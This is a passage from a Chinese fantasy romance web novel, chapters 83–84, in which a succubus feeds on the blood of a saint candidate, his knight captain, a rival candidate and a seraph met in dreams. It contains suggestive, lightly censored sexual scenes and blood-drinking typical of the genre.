前面不远处,击退魔物的骑士们回来,身上浓郁的血腥气让楚青琅咽喉不自觉的滚动了一下。 尤其是最前面的那个,只是手上流着鲜血,却格外的香甜。 楚青琅直觉他能够给自己更多的魔力。 他随手招来一个骑士,“我要你的马。” 骑士放缓了速度,疑惑的看着他,“您会骑吗?” 楚青琅没有说话,只是站起身,微倾身子,抓住缰绳,坐在了他的身后。 随后靠近他的脖颈道:“你说呢?” 骑士被头盔包裹的面容顿时染上了红晕,沉默的下去。 楚青琅盯着前面的身形高大的男人,调整好姿势后,一夹马腹,就加快了速度。 “你受伤了吗?” 陌生的轻柔的嗓音突然响起。 骑士长伊文纳德握紧了手中的剑。 带着兜帽的少年就出现在了他的眼前,眼眸是通透的棕色,容颜格外俊美,眼尾带着带着一线红。 这个少年是突然出现在约书亚大人的帐篷中的。 虽然他们身上都有着传送阵,但是禁魔之林除了自身的魔力,那些东西都无法使用,少年又是怎么出现的? 但是约书亚大人并未露出什么异样,因此伊文纳德便不会对这个少年做什么。 他冷冷的看着少年,手背被魔物划破的皮肉还在源源不断的冒出血来。 楚青琅的视线落在上面,眼中顿时浮现出了担忧,“您受伤了。” 伊文纳德下意识的将手收回,沉声说:“骑士总会受伤。” 他并不在意,那个魔物并没有侵蚀的能力,因此不需要管它,依靠着自身的恢复力,这点伤口很快就会好的。 一抹温柔的力道却猛地从手腕处传来,轻而易举的阻挡了他收回手的动作。 伊文纳德愕然低头,却只看见那个漂亮的少年垂下头,伸出舌在他的手背上轻舔。 艳红的舌,洁白的齿,棕色瞳纹层层放射交叠,显得眼眸越发深邃含情。 向上望着他,里面满是真诚的担忧。 伊文纳德瞬间僵硬在了原地。 一只冷硬的心脏突兀的抽搐了一下。 他眼睁睁的看着少年将他流出的鲜血舔舐干净,随即柔软舌尖戳进了那正快速愈合的伤口中。 翻搅着,划动着。 伤口被重新撕裂,鲜血再次流出,流淌进那湿濡的口腔中,将森冷的齿都染上了红。 少年的面容顿时变得邪气起来,仿佛蛊惑人心的恶魔一般。 伊文纳德攥紧了马儿的鬃毛。 本能告知于他,让他清醒远离,要他拔出剑来。 但是他却只是怔怔的看着少年,一动不动。 甜腻的香气飘来,他只觉得有异样的感觉顺着顺着手背直冲小/腹。 楚青琅满足的眯着眼,按着马背坐到了伊文纳德的身前。 骑士的盔甲和身甲并不是严密无缝的,楚青琅伸手轻轻抚摸着面甲,看着那双淡蓝色的双眼,松开嘴,仰头亲了一口他的眼眸。 “感谢款待。” 身下的马儿猝然发出了一声响亮的鸣叫。 声音落下,伊文纳德瞳孔骤缩。 脖子上的绳子消失不见,他胸膛重新起伏,急促的呼吸着氧气。 他下意识的后仰身子,拔出了剑,朝着面前的人砍了过去。 寒冷的锋刃在即将落下的时候,清冷空灵的声音却突然响起。 “伊文。”圣子在身后吩咐道:“送他回来。” 伊文纳德手顿住。 他说:“是,约书亚大人。” 嗯? 约书亚醒了? 楚青琅眉眼弯弯,轻轻推了一下脖颈处的大剑。 伊文纳德冷着脸将剑收起,挟着他的双臂将他重新扔回了马车。 视线从明亮转向昏黄,金发蓝眼的青年端正的坐在那里。 楚青琅顺势倒下,躺在了马车的地板上,柔密的地毯几乎淹没手背。 半饱的躯体懒洋洋的,让他只想找个地方睡觉。 眼前出现了一双长靴,细碎的宝石和水晶坠在上面,随着行动发出轻微的脆响。 随即,柔软的白袍淹没了一切,他被约书亚抱起,放到了一旁的座位上。 指尖楷过他的唇角,约书亚一双湛蓝的眼眸仿佛冬天的海面。 “这么饥饿吗?” 少年眼尾的一线红色彩越发浓郁起来,点缀在他白皙的面孔上,几乎让人移不开目光。 楚青琅张嘴,将唇边的指尖咬住,从喉间溢出笑来。 他模糊道:“你不给我,我找别人,圣子大人,别这么凶嘛。” 约书亚用指尖压着他的舌尖,缓缓倾身。 流水一般的金发扑来。 楚青琅眼前恍惚了一瞬。 灿然的光芒下,梦中的神国再次出现。 “青琅,不要一次性的吃太多知道吗?” 温柔的声音,脊背后方被人轻抚着,撩起的金发下是白皙的颈项,青色血管清晰可见。 楚青琅下意识的捂住了嘴。 “怎么了?” 伊莱又一次的出现在他的面前,琥珀色的眼眸如蜜一般,雌雄莫辨的面容担忧的靠近。 “不会真的难受的,刚刚说的话吓你的,你要长大的话,吸取我的血液是最好的选择。”他说:“而且这之后,就算是被别的炽天使看见了,他们也不会发现你的身份的。” 楚青琅瞬间反应过来。 他是又入梦了。 之前做梦的结尾是他想要变成大人,所以伊莱才会选择让他吸血。 现在他们应该同样是在伊莱的宫殿内,周围是盛开的花丛,两人坐在亭子中,白色的柱子上用浮雕刻着荆棘和鸟儿。 身侧是镂花桌子,上面摆放着水晶茶具还有鲜艳的水果。 想清楚之后,楚青琅顿时放松下来。 相比起约书亚的吝啬,伊莱简直太好了,还让他放心吸血。 楚青琅顿时被感动到了,他伸出手捧着伊莱的脸,在他的下巴上亲了一口。 幼稚的声音软软道:“谢谢伊莱,我很开心。” 幼年期的魅魔面容少了邪气,面容更加的精致可爱。 额上的角身后的尾巴都使得他像是一个玩偶一样,尤其是可以拉长声音撒娇的时候,就更加的让人心软。 伊莱顿时搂紧了他,低头蹭了一下他的额头,“我也很开心。” 他的青琅终于又一次对他撒娇了。 楚青琅被蹭的有点蒙,然后他就看见伊莱面上绽放出极具灿烂的笑容,“来,我会放松的。” 后脑上传来力道,他被直接按在了天使的脖颈上。 尖牙不自觉的露出,更加澎湃的香气让他忍不住吮了一下,在那上面留下了一道湿漉漉的痕迹。 伊莱颤了颤,无奈的轻拍,“要用牙齿。” 楚青琅晕晕乎乎的,完全不知道他在说什么了。 张开嘴就咬了下去。 尖锐的牙齿轻松的破开皮肉,金色的鲜血丰沛的从唇边溢出,将白皙的脖颈弄得一片模糊。 伊莱却并没有反抗,他甚至更加放松了起来。 对于炽天使来说,就算是大恶魔也无法破开他的皮肤,除非他主动扯下防御,不然就算是楚青琅崩碎了一口牙,也不会对他造成任何伤害。 血液汩汩流动的声音,满足的哼唧声,还有脖颈处勒紧的手臂。 伊莱双眼微闭,靠在椅背上,唇高高的翘起。 好像他的一部分,在青琅的身体里扎根发芽了。 自诞生以来一只空荡荡的心脏,被莫大的满足感充斥。 神圣的羽翼上忽地生出一只眼来,仔细的观察着小魅魔的变化。 楚青琅闭着眼,大口大口的咽下属于天使的血液。 就像是伊莱所说的那样,他并未有着任何的不适,金色的血液落尽口中,完全是纯粹的能量了。 这种能量落进胃袋,随着血液的流淌蔓延全身。 他的四肢瞬间传来抽痛,这种感觉又促使他咬的愈发狠。 直到伊莱传来一声轻哼,楚青琅才从混沌中清醒。 他猛地松口,担忧的看过去,却发现自己的视角已经不一样了。 若说原本的他是躲在伊莱的怀中,腿随便的晃悠。 那么现在的他,脚尖可以轻易的碰到地面。 楚青琅左右看了看,又捧起伊莱的脸,凑近。 从那双琥珀色的眼眸中,他看见了一张俊美的少年面孔,眼尾带着一线红,唇和下颌满是金色的液体。 他瞬间笑了起来,“伊莱,我长大了。” 伊莱搂着他,少年口口的四肢缠绕在他的身上,带着鲜明的热度。 不像是孩子那样可爱可怜。 狭长眼眸睨过来时。 带着鲜明的侵/略感和引诱。 第83章 第 83 章 脏了。 楚青琅自顾自的沉浸在激动中。 摊手, 翘脚,不断的看着。 直到大腿被伊莱金色的血液滴上,凉意传来,他才猝然回神。 他拢着那金色的发丝凑近, 感谢的咬住伊莱的唇, 轻轻摩擦, 试图为伊莱止痛。 魅魔的接触会让人产生麻痹的, 还有莫大的快/感。 朦胧的香气顺着两人的呼吸深入体内。 伊莱愣愣的看着少年弯起的双眼。 “张嘴好吗?” 比起幼年带着清脆的嗓音,少年时的他习惯性的尾音拉长, 咬字漫不经心的。 便更加的惑人。 伊莱下意识的张开了嘴,迎接着另一人的谢礼。 “很乖。” 楚青琅揽住他的脖颈,抚摸着他的金发。 抬眼,却从在花园不远处的长廊上,看见了一个天使。 但是天使的面目被光晕笼罩, 所以楚青琅看不清他是谁。 只能看见那和伊莱相似的翅膀。 是六翼天使。 翅膀丝绸一般波光粼粼,神圣璀璨。 楚青琅朝他笑了下,却只换来了一瞥, 随即那个天使转身离开了此地。 完啦, 被别的天使发现了。 楚青琅按着伊莱的肩膀起身, 看着他迷蒙的眼眸,笑着靠在他的怀中, “怎么办?好像被别的天使发现了。” 他才不信那个天使过来的时候伊莱没有感觉。 对于每一个高等天使来说, 宫殿不仅仅是住的地方,更是他们的武器,这里面的任何事情都逃脱不了他们的视线。 伊莱的睫羽抖了一下,反手变出一席长袍为他穿上。 柔软的白袍,露出肩膀, 腰肢用水晶和黄金打造楚一串长长的腰带,一直垂在了脚面上。 楚青琅穿好后下去转了一圈。 伊莱安静的看着他,声音一如既往的温柔。 “没关系,我会处理。” 楚青琅点头,看着他走出去。 自己随便在宫殿中转悠了起来。 走着走着,楚青琅就看见了先前那个广场,同样的,他也听见了上一次的那种飘扬乐声。 他顺着声音朝前走,却发现一脚踏进了云海,迷失了方向。 正在他踌躇的时候,身后突然传来一道活泼的声音。 “你是谁?” 楚青琅猛地回身,只看见了一双浓绿色的眼眸,里面满是惊艳。 在看见他身后的羽翼的时候,楚青琅的尾巴紧张的勾住了小腿,试图将自己的异常藏起来。 虽然伊莱说他在外人眼中是天使的模样,但是真的出现在一位天使面前,他还是抑制不住的感到了紧张。 仿佛对他的沉默感到疑惑,绿眼睛的天使飘了过来,夕阳一样的橘红色的发丝被丝带挽起,凑到了他的面前,“你是那宫的天使?以诺还是伊莱还是——” 他没有发现。 楚青琅迅速调整好心情,同样弯起眼,抬手指了指自己的喉咙。 绿眼睛的天使很明显的明白了他的意思,顿时手足无措起来,“啊你不能说话吗?是不是和恶魔的对战伤到了喉咙,以诺怎么不带你去圣池,很快就会好的。对了我叫艾斯维,你可以叫我艾斯,你叫什么?” 楚青琅没有说话,艾斯维绕着他转圈,忽然伸出了手,“你可以写下来。” 怎么说呢,他现在在这个世界暂时是个文盲。 楚青琅默默微笑。 艾斯维仿佛不能忍受这种沉默,直接放弃了询问,他拽住他的手腕,带他朝着前面走去。 “算啦,你知道我的名字就好,我带你去听圣乐好不好?我刚谱出曲子,准备在后面的神祭上向着父神展示的。” “虽然吾我很有信心,但是还需要更多的人过来听,但是他们都没有时间。伊莱不知道在忙什么,一直都不见踪迹,以诺只知道成天驻守在神国边缘,说要练军,阻挡恶魔的进攻,也不搭理我” 这个绿眼睛的天使,真的好多话。 楚青琅左耳朵进右耳朵出的听他说话,不时敷衍的点头。 面前的云海缓缓散去,出现在他面前的是被花朵包裹的宫殿,光芒洒下,显得生机勃勃。 艾斯维将他带到了露天的圆形表演大厅,随后收拢翅膀指了指中间的小天使。 “我去指挥,你一定要听哦。” 绿色的仿佛宝石一般的双眼凑到他的眼前,里面满是友好。 楚青琅伸手将他推远,点了点头。 得到回应的艾斯维高兴的抱了他一下,随后飞了下去。 下面的小天使翅膀蓬松如白羽,面容都精致可爱,看着艾斯维的到来目光欣喜又憧憬。 很快,吟唱声就飘扬过来,清澈飘渺,格外神圣虔诚。 而且非常催眠。 楚青琅靠在座位上,餍足感混着困意涌上来, 不能睡,这是陌生的地方。 他甩了甩头,但是逐渐下沉的意识却不听他的使唤。 模糊间,眼前仿佛出现了一道人影。 居高临下的望着他。 楚青琅努力瞪大眼睛,想要看清楚他的模样。 遮掩面容的雾气缓缓褪去,他最先看见的,是一双蓝眼睛。 约书亚? 楚青琅猛地坐起身,却听见哗啦一声响。 马车依然在缓缓的行着,四角的吊灯微微晃动,昏黄的烛火跳动着照亮约书亚那张冷淡的面孔,湛蓝的双眼凝过来。 手中正在将羊皮纸缓缓收起。 楚青琅晃了下脑袋,抬手摸了下胃部,难受的发现那种吃饱喝足的感觉并没有在这里显示出来。 相反因为体会到了那种充裕,现如今这种饥饿的感觉更加难以忍受了。 他翻了个身,舌尖不经意的抵住牙齿,刺痛感传来,不由得嘶了一声。 楚青琅捂住嘴,疑惑的瞥了一眼约书亚,“你偷袭我?” 约书亚将手中的羊皮纸放在桌子上的手顿了一下,“没。” “那我的舌头是怎么回事?” 楚青琅不依不饶,拉长了声音,他坐起身,却又一次听见了那哗啦的声音。 他愕然看去,却发现脚腕上赫然带着一个银色的锁链。 锁链连接着他的双脚,若隐若现,但是并未限制他的行动。 楚青琅好奇的伸手摸了一下,却直接穿了过去。 “这是什么?” 约书亚走来,抬起他的下颌,夹出舌头看了一眼,“没有破皮,很快就好了。” 楚青琅单手撑着,另一只手直接抓住了他的发,将他捞了过来,“我说,你给我带上了什么?” 约书亚被他毫不留情的力道拽的发根闷痛,他顺着他的视线看向了那锁链,声音平静。 “为了骑士们的安全,所以给你上了这个,你不能离开我太远。” 楚青琅翻身将他压住,“然后呢?” 约书亚看着他那张毫不在意的面孔,有些意外,“你不生气?” 楚青琅点了点他的喉结,凑近说:“你吃醋了?” 两人对视,约书亚率先移开了目光。 “除了不能离开我太远没有别的效果,如果你想要体/液我会给你。” 楚青琅顺势下滑,捏住了他的脖颈。 指尖按在动脉上,感受着那跳动,牙齿发痒。 “这个?” 约书亚并未回答,只是垂下了眼皮,将视线放到了少年的下颌处。 但是他沉默的态度已经表明了一切。 楚青琅没有忍住翻了个白眼。 没关系,他又不是不能忍,反正梦里有伊莱给他解渴。 他也是被带锁链带习惯了,顺势倒下,将自己的身体砸向了约书亚的胸膛。 “到了失落之城,你别不给我解开。” 耳边的心跳加快,但是很快就变得平稳起来。 马车顶部雕刻出来的天使雕像,约书亚搂着他,对上那悲悯的目光,声音空灵。 “会给你解开的。” 楚青琅开始闭目养神。 他是在艾斯维的表演上睡过去的,他对他并没有恶意。 而伊莱发现他不见了应该会过来找他。 所以他下次过去,应该不会碰见什么危险的情况。 毕竟天使应该都是比较敌视恶魔的,他的身份要是暴露出来了。 楚青琅简直不敢想自己会怎么死。 他将自己的头又朝着约书亚的脖颈伸出钻了钻,只露出了一个毛茸茸的发顶。 “给我随便讲个故事。” 他现在需要一些噪音,让自己思索一下。 楚青琅总觉得这个世界很奇怪,好像随便看见一个人都是他的恋人。 约书亚拍着他的脊背,开始说起故事起来。 “在旧世纪,当时的皇帝并不相信神明,因此将神明的雕像推倒,但是后面恶魔混乱突然出现,残杀了无数的子民,王朝也岌岌可危。为了像神明请罪,他们开启了圣子的选拔” 说着说着,楚青琅抬手捏住了他的嘴。 “好了,别说了。” 他怎么越听越不对劲。 他记得现在他也是恶魔的身份吧? 给他讲这个故事,他觉得自己就是那个被消灭的恶魔。 看着约书亚疑惑的神情,他翻身滚到了一边抱住了毛毯,将头埋了进去。 身后传来悉悉索索的声音,等在回头看去,楚青琅发现约书亚重新坐回了书桌前。 他冷不丁的问:“你说要是到了失落之城,你要对我做什么呢?是想那个故事中的一样在你的竞争者面前将我杀死?” 约书亚垂眸抄写着什么,闻言他说:“到时候我会把你身上的锁链解开,然后你就可以随便出去,只要你不随便诱惑别人,惹出事情,我不会去抓你。” “你的意思是我找一个人交往,就可以了?” 楚青琅笑了一声。 约书亚胸膛起伏了一下,笔下原本流畅的字迹瞬间断裂。 楚青琅眉眼弯弯,接着还要说些什么,一旁就传来混乱的声音。 随即,是骑士长伊文纳德的声音。 “约书亚大人,是别的圣子的骑士,说他们在前面遇见了高等级魔物,没有打过,便带着圣子过来求援了。” 别的圣子? 楚青琅猛地抬头,朝着外面看去,却见约书亚抬手只将窗帘吝啬的撩开一条缝隙。 “你去帮忙。” 伊文纳德垂头,恭敬应是。 楚青琅光着脚下去,凑到他的身旁,“你很紧张?” 约书亚松手,天鹅绒窗帘顺势垂下,一双湛蓝眼眸望着他。 “和别的圣子保持距离。”他说:“他们并没有我这样好心。” 楚青琅看了他一会儿,过去跨坐在他的腿上,“但是我很饿,如果你不满足我的话,我会去找他的。” “圣子候选人,能够抵抗我吗?” 他又想到了什么一样,说:“对了,他也算是你的竞争对手,我可以去诱惑他,然后让他破/身,这样你不就可以少一个对手了,我也可以吃饱,双赢的局面。” 约书亚并没有答应。 “神说,圣子不可站罪人的道路。” 他伸手,掀开少年的唇,敲了敲那尖锐的齿。 “你的舌头不疼了?” 楚青琅朝他伸舌。 一条湿濡水润的舌,只有舌尖上带着被过度吸引形成的淤红。 一闪而逝。 随即那道低哑的声音再次响起。 “那你轻点啊。” 楚青琅很快的就感觉到了身下的动静。 伊莱掐着他的下颌靠近。 楚青琅眼眸中满是笑意。 “怎么办?你的神不允许你——” 眼睫交错间,仿若天空一般湛蓝的眼眸映出他浓黑的眼眸。 最后两个字被吞噬在口舌绞缠间。 因为身体的原因,所以两个人吻的一向很深,时间很长。 氧气被寸寸挤压掠夺,将神智都变得模糊起来。 楚青琅习惯性的要伸手将人的衣服褪下,却被按住了手。 燥热感传来,他眼中划过一丝不耐。 突然,他站起身坐到了桌子上,指尖摸着那快速跳动的脖颈,对着面前被染上红晕的约书亚压了压手中的手。 “我都答应了你那么的要求了,你不应该满足我吗?” 他一只脚晃动着,锁链发出清脆的响声。 约书亚的视线顺着他勾起的唇缓缓下移。 金发如丝绸泛着波光,散落在大腿上,带着细微的凉意。 楚青琅满意的后仰身子,白皙指尖将羊皮纸和墨瓶从桌子上推下。 轻微的响声传来,东西稀稀落落的,落在地毯上。 将那柔软浇湿,片片倒伏下去。 窗户外传来交谈声。 “伊文纳德!你怎么敢让赫普斯大人坐杂物车!” “别耽误时间,那个魔物并不好对付。”骑士长的声音不带丝毫情绪,“约书亚大人答应过去帮您,这只是大人好心,不代表你们要得寸进尺。而且,要不是你们废物,连大人的马车都保护不了,你们大人怎么会落到现在这个地步。” “你!赫普斯大人和约书亚大人是平等的,可以让两位大人坐一起……” 骑士长仿佛想到了什么,连声音都仿佛都带着寒意。 “约书亚大人不方便。” 楚青琅当然知道骑士长伊文纳德为什么会说约书亚不方便。 不就是因为他在这里吗。 想起那香甜的血液,楚青琅体内的焦渴感再次涌上,他按着那细密的长发,喘息道:“用手。” 虽然未看见,但是外面两人那紧绷的气氛却十分明显。 就在楚青琅以为伊文纳德会直接用武力让对方的骑士屈服的时候,一道轻柔的嗓音传了过来。 “爱德,没关系的。” “赫普斯大人…” 脚步声在车窗旁停下,轻柔的嗓音接着响起。 “非常感谢您的出手相助,愿神保佑您。约书亚。” 外面的应该就是和约书亚竞争圣子的职位的候选者。 楚青琅伸手将幕帘撩起一角,正好和马车外抬眼的人对视。 同样的英俊,但是比起约书亚的高高在上的圣洁更为温和。 楚青琅看着他那双震惊的棕眼睛,笑了一下。 约书亚的动作突然加快了一些,楚青琅呼吸一窒,抖着指尖放下了幕帘。 低头,那双湛蓝眼眸正向上翻起,一动不动的凝视着他。 除了让他吸血,还有做,他发现约书亚真的什么都愿意干。 楚青琅眨了下眼,“我在马车上的时候可没有伪装,他知道了。” 黑发黑眼一向是恶魔的标志。 约书亚却只是从喉咙里挤出一道声音表明知道了,随后按着他的后腰,将他拉了过来。 楚青琅还没搞清楚他这是对自己的实力过于信任还是什么,就直接被吸软了身子。 他半躺在桌上,抬手咬着手腕。 马车摇晃着,连带着顶部的吊灯都开始晃动。 直到随后。 手腕处尖锐的牙齿深入皮肉,鲜血顺着口角留下,深入发丝。 疼痛并不敏感,有的只是无上的欢/愉。 缓了缓,楚青琅懒洋洋的将手腕上的血液舔舐干净。 约书亚起身,唇部涨红,他重新覆在楚青琅的身上,弯曲指节将他面庞流淌的血渍刮下,送进嘴中。 他说:“脏了。” 楚青琅半敛着眼皮,哼笑一声。 “脏了你还吃。” 约书亚没有说话,将他抱起,扶正歪斜的桌子和凳子。 一丝不苟的模样。 楚青琅又说:“我要洗澡。” 约书亚缓慢的梳理他的发,“现在还要赶路,等休息好吗?” 楚青琅也知道他说的是实话,毕竟到了失落之城找个血包他就不用挨饿了。 但是他还是装着勉为其难点了下头,看着他将桌面恢复原状。 突然好奇的指着那些羊皮纸问:“你刚刚在抄什么?” 约书亚声音有些沙哑,“是神圣的法阵还有神谕,可以引导圣子洞悉神明的旨意,只要对神明的认知足够深入,魔力也会愈发强大。” “所以每个圣子候选人都会不间断的描摹誊写。需要全神贯注,虔诚祈祷,中间不能有错误……” 依照约书亚的性子,早已经将那些刻在心中,不应该出现任何差池。 但是淡黄色的羊皮纸上,赫然存在着一道鲜明的划痕,漆黑。 楚青琅收回视线,装作什么都没发现道:“这个锁链限制我必须离你多近?还是我们两个必须要呆在一起?” 一直摸着头发的手顿了下。 约书亚说:“必须要和我一起。” 楚青琅皱了下眉,理直气壮的要求。 “我要出去,这里太无聊了。” 看着约书亚无动于衷的面容,楚青琅直接下地拽着他的领子向外走。 “我又不是你的犯人,我有自由行动的权力,你要是不放心,就跟着我。” 约书亚踉跄了一步,反手将披风拿到了手上,还是跟了上去。 第84章 第 84 章 关起来,才会变乖。 不知道是被刚刚的景象吓到了。 还是单纯的关心自己的骑士。 约书亚的竞争对手赫普斯并不在马车外。 楚青琅问了一下, 留守的骑士说他们已经赶了过去。 “那我们也快去吧。” 回头,楚青琅看着约书亚那双薄冰般的眼眸道:“怎么说里面也有你的骑士,要是他们都死了,你就算是到了失落之城也不一定能够赢得胜利不是吗?” 约书亚并未拒绝, 垂头将他脚腕上的锁链给隐匿了下去。 楚青琅高兴的贴了贴他的脸。 转身穿过森林朝着声音传来的方向走去。 “锵!!!” 骑士们的周身燃着血色, 手中的大剑和魔物坚硬的皮肤相撞, 竟然发出金属碰撞的声音。 一旁同样穿着法袍的赫普斯正握着法杖给每一位骑士增加助力, 还时不时的偷袭一下。 但是看起来,依然很难打过啊。 楚青琅看着双头魔物喷出一口冷焰, 很快骑士们的身躯就僵硬起来。 只有骑士长伊文纳德还可以正常的行动。 估计沾到他的身上,他就可以直接归天了。 毕竟他现在可是格外的脆弱。 楚青琅缓缓后退,没有发现一旁赫普斯发现了他们到来时面上涌出的惊愕,还有瞬间染红的耳尖。 就在赫普斯分神的刹那,光明之力顿时断裂, 一个骑士被猛地击飞了出去。 约书亚见状,伸出手默念口诀,随即他的手中开始出现一根奢华的法杖来。 光芒突现, 将那个飞出去的骑士放在了地上。 接着, 他对着赫普斯冷声道:“不要分神。” 赫普斯瞬间将目光从楚青琅的身上收回, 重新开始祈祷念诵口诀。 只是目光中充满了疑惑。 在约书亚的加入后,那个诺大的魔物很快就被消灭。 受伤的骑士向着约书亚行礼, 随后快速回去治伤。 这个魔物带着黑暗之力, 会时刻侵蚀着他们的伤口,需要圣水洗涤后才能快速愈合。 赫普斯主动上前为他们治伤,同样换来了许多的道谢声。 “他是在准备撬你的骑士吗?” 楚青琅将视线收回,正好看见赫普斯来到了骑士长伊文纳德面前,伸手试图为他施加祝福。 但是却遭到了冷漠的拒绝。 骑士长拿着重剑开始解刨起尸体来, 并且伸出手在里面寻找着什么。 楚青琅看着他手臂上被血液腐蚀的一块块伤口,还有平静的面孔,心中惊讶。 没有痛觉的吗? 约书亚站在他的身旁说:“每个圣子候选人都有着属于自己的骑士,是经过神明的见证的,并不会随意背叛。” “伊文现在是在取骨头,大恶魔的骨头可以制作炼金物品,在外面一项非常畅销,而且也可以增加他的实力。” 楚青琅还准备看,便被一只手捂住了双眼。 “走吧,我让他们烧水,为你清洗。” 天色缓缓暗沉下来。 篝火重新燃起。 骑士们围绕在一起,并未交谈,只是沉默的吃着干粮。 楚青琅被洗的干干静静,身上披着毯子坐在马车内。 头上的发被约书亚拿着丝绸轻柔的擦拭着。 楚青琅不耐的将它拽下,“好了,已经干了。” 约书亚又顺着他的发根捋了一下,才从他的身边离开。 失去了阳光,马车内越发昏沉起来。 楚青琅听见外面传来赫普斯的声音,“约书亚,我过来是想要和你聊一下失落之城,还有你身旁的恶魔。” 最后两个字,赫普斯讲的又轻又低。 约书亚却没有着急回话,他又拿出了另一套衣服为楚青琅穿上了。 这个衣服的款式和刚来的时候非常相似,黑色无袖紧身衣,外加柔软毛皮做的长裤。 楚青琅揪了揪头发,就直接被捧着脸咬住了唇。 一只手顺着脖颈摸到肩头,轻轻的揉捏着。 舌尖钻进来,裹着他的舌慢吞吞的吮/吸。 “唔……他叫你。” 楚青琅努力不让自己沉迷进去,毕竟只是亲吻,完全比不上吸血,所以这点自制力他还是有的。 倒是约书亚被推开后愣了一下。 “不让我吸血就赶紧滚!别一直撩拨我。” 楚青琅坐到一旁,恹恹的捂着肚子趴在桌子上。 尾巴缠绕在椅子上,肩头带着被捏出来的红晕,看起来委屈极了。 约书亚站了一会儿,在赫普斯又一次的催促下,转身下了马车。 楚青琅看着他离开,瞬间反应过来。 约书亚施加的限制应该解开了,所以现在他可以去接着找骑士长伊文纳德要血了。 楚青琅特意又等了一会儿,和约书亚错开时间下了马车。 外面,骑士长并未围在篝火旁,而是抱着重剑闭目养神,守护在马车旁边。 听见脚步声,他猛地睁开双眼,反手就要将剑砸过去。 却在施力中间放下了手,站直了身子。 “大人。” 楚青琅站在他的面前,命令道:“手伸出来。” 伊文纳德皱了下眉,“大人,既然您已经受到了神明的召唤来到了约书亚大人的身旁,就要克制己身。只有恶魔才会依靠吸取他人血液为乐。” 楚青琅懒得听他废话,逼上前,压着他的肩膀将人直接推到了树上。 “手不想伸出来的话,是想要脖子吗?” 温热的指尖点在脖颈一侧,皮肉顿时紧绷起来,那双晕着笑意的眼眸凑的好近。 甜蜜的香气萦绕在两人周围,就算是一直以着极为苛刻要求对待自己的伊文纳德,也不可控制的恍惚了神情。 今天不少骑士都受了伤,使得楚青琅体内的饥饿感越发强烈。 他倾身,伊文纳德身上的铠甲并未褪去,只是头盔摘了下来。 两人鼻梁交错,伊文纳德下意识的张开了嘴,但是另一张翘起的唇却笑了一声,擦过他的唇角落到脖颈上。 湿濡的舌尖点在麦色皮肤上,风刮过,瞬间变得黏腻湿凉。 犹如薄膜一般覆盖在上面,肌肉不自觉的抽搐了一下。 楚青琅用牙齿轻蹭,礼貌询问:“我可以用餐吗?” 缠/绵的声音落在耳畔,带着对他的急切,却又是如此的尊重他的意见。 伊文纳德只觉得那香气钻进了他的毛孔,顺着血液流淌催生出想被啃/噬的欲/望。 他攥紧了剑,喃喃,“可…” “不可以!” 冷硬的声音打断他的话。 楚青琅被一只手揪着领子拽了回去。 他侧头,迷茫看去,却发现是一脸严肃的赫普斯。 月亮的光芒被层层交叠的树叶挡住。 楚青琅肩膀被一根法杖顶住,他歪头,狭长的双眼被眼尾的红映出靡丽色彩。 赫普斯的声音格外冷漠,另一只手拿着圣水,只是看着,楚青琅就感觉到了一些不适。 “恶魔,我不管你是怎么迷惑约书亚的,要是不想死,就滚开!” 话音落下,楚青琅只觉得莫名其妙。 他靠在车窗旁,指了指脚下的锁链,“你确定是我迷惑的他吗?” 等回到了马车上,这个锁链就渐渐恢复了自己的本来面目。 是完全依靠魔力凝结而成的锁链,人类的武器完全碰不到,而别人的魔力一旦属于触碰,就会被魔力的主人所知道。 怪不得约书亚今天祭出了法杖。 赫普斯抬眼看着那双朦胧含情的眼眸,竟然恍惚了一瞬。 仿佛又看见了白天在透过那角车窗望见的旖旎景色。 少年四肢修长,懒懒的靠在那里,十足有恃无恐的模样。 赫普斯的法杖渐渐上移,挑开他戴着的兜帽。 黑色的角从顺滑的发丝上生长,如玉般细腻柔软的肩膀还带着被揉弄过的红晕。 楚青琅按下悬在面前的法杖,细长的尾巴缠绕上去,试图将其绞断。 但是上面的光明之力充裕,反而将它震到。 楚青琅嘶了一声,伸手将尾巴解开抱在了怀里。 “你弄痛我了!” 赫普斯回神,听见他的话有一瞬间的想笑。 这是何等的无理取闹。 但是面上他却依然是一副严肃的模样,收回法杖,并未靠近这个魅魔。 “约书亚是圣子候选人,他带你过去的目的你也知道,到时候你会被揭开真面目,在众目睽睽之下被杀死。” 赫普斯劝诫,“你最好现在离开,我可以给你的锁链解开。” 尾巴尖轻晃,楚青琅安抚的摸着疼痛的地方,闻言嗤笑,“你怎么说的好像是为我好?” 他放下手,向赫普斯一步一步走去。 “你知道我无法离开这里,我只是一只魅魔,失去了约书亚的庇佑,我会死的很惨的。但是你依然这样说。” 楚青琅伸手,顺着他的肩膀向下摸去,“接下来,你是不是要说,你可以帮我,保护我,到了失落之城还会帮助我逃走。” 赫普斯的瞳孔映出少年那张不似人间的面孔,斜斜勾起的眼尾裹着浓黑眼眸,琉璃般通透。 楚青琅咬着他的唇,尖锐的齿轻易的划开道道伤口,然后他如猫儿舔水般轻吻。 “想要我背叛他来帮你,是吗?” 赫普斯的大脑顷刻空白,等他反应过来,已经将这个魅魔压在了身/下。 那森冷的齿深入脖颈,身躯随着血液的流逝阵阵泛着冷意。 他覆上那微红的肩膀,叼着少年的发侧头。 发丝细长柔韧,缠绕在舌面反如刀尖一般锋利。 赫普斯说:“不,我只是单纯的,想要你们分开。” “不只是他,还有那个骑士长,不然你觉得,约书亚为什么现在还没过来。” 什么? 楚青琅察觉到他说话,但是在体内渐渐升起的满足中,那些话就像是水一样从他的脑子中划过。 喝到最后,楚青琅觉得眼前的一切都罩上了薄纱。 他不由得晃了晃脑袋,嘟囔道:“唔,头晕。” 就像是喝醉了一样。 赫普斯撩开他额上的发,看着他通红的面颊,扯开了嘴角。 唇上的伤口刺痛,心绪却诡异的沸腾起来。 被亲吻,原来是这种感觉。 “圣子候选人的血液都有着丰富的光明神力,就算你是魅魔,也不能一下子吸取这么多。” 楚青琅茫然的望着他,已经完全进入到了混沌中。 赫普斯被盯的呼了一口气。 他低头,就要亲上去,脊背却猛地一寒,随即清冷声音响起。 “你在做什么?” 赫普斯缓缓抬头。 约书亚从树林中走出,白袍依然纤尘不染,低垂眉眼看过来时,竟意外带着几分悲悯。 握在手中的法杖迸射出冷光,将赫普斯直接从少年身上击退。 随即他上前,为少年擦拭了一下唇后,将人搂进了怀中,带着凉意的声音压下。 “为何如此迫不及待?”他说:“鲜血对你就那么重要吗?” “是不是将你彻底关起来,才会变乖?” 楚青琅半睁着眼,向他投向疑惑目光。 伸手抚摸着约书亚的双眼。 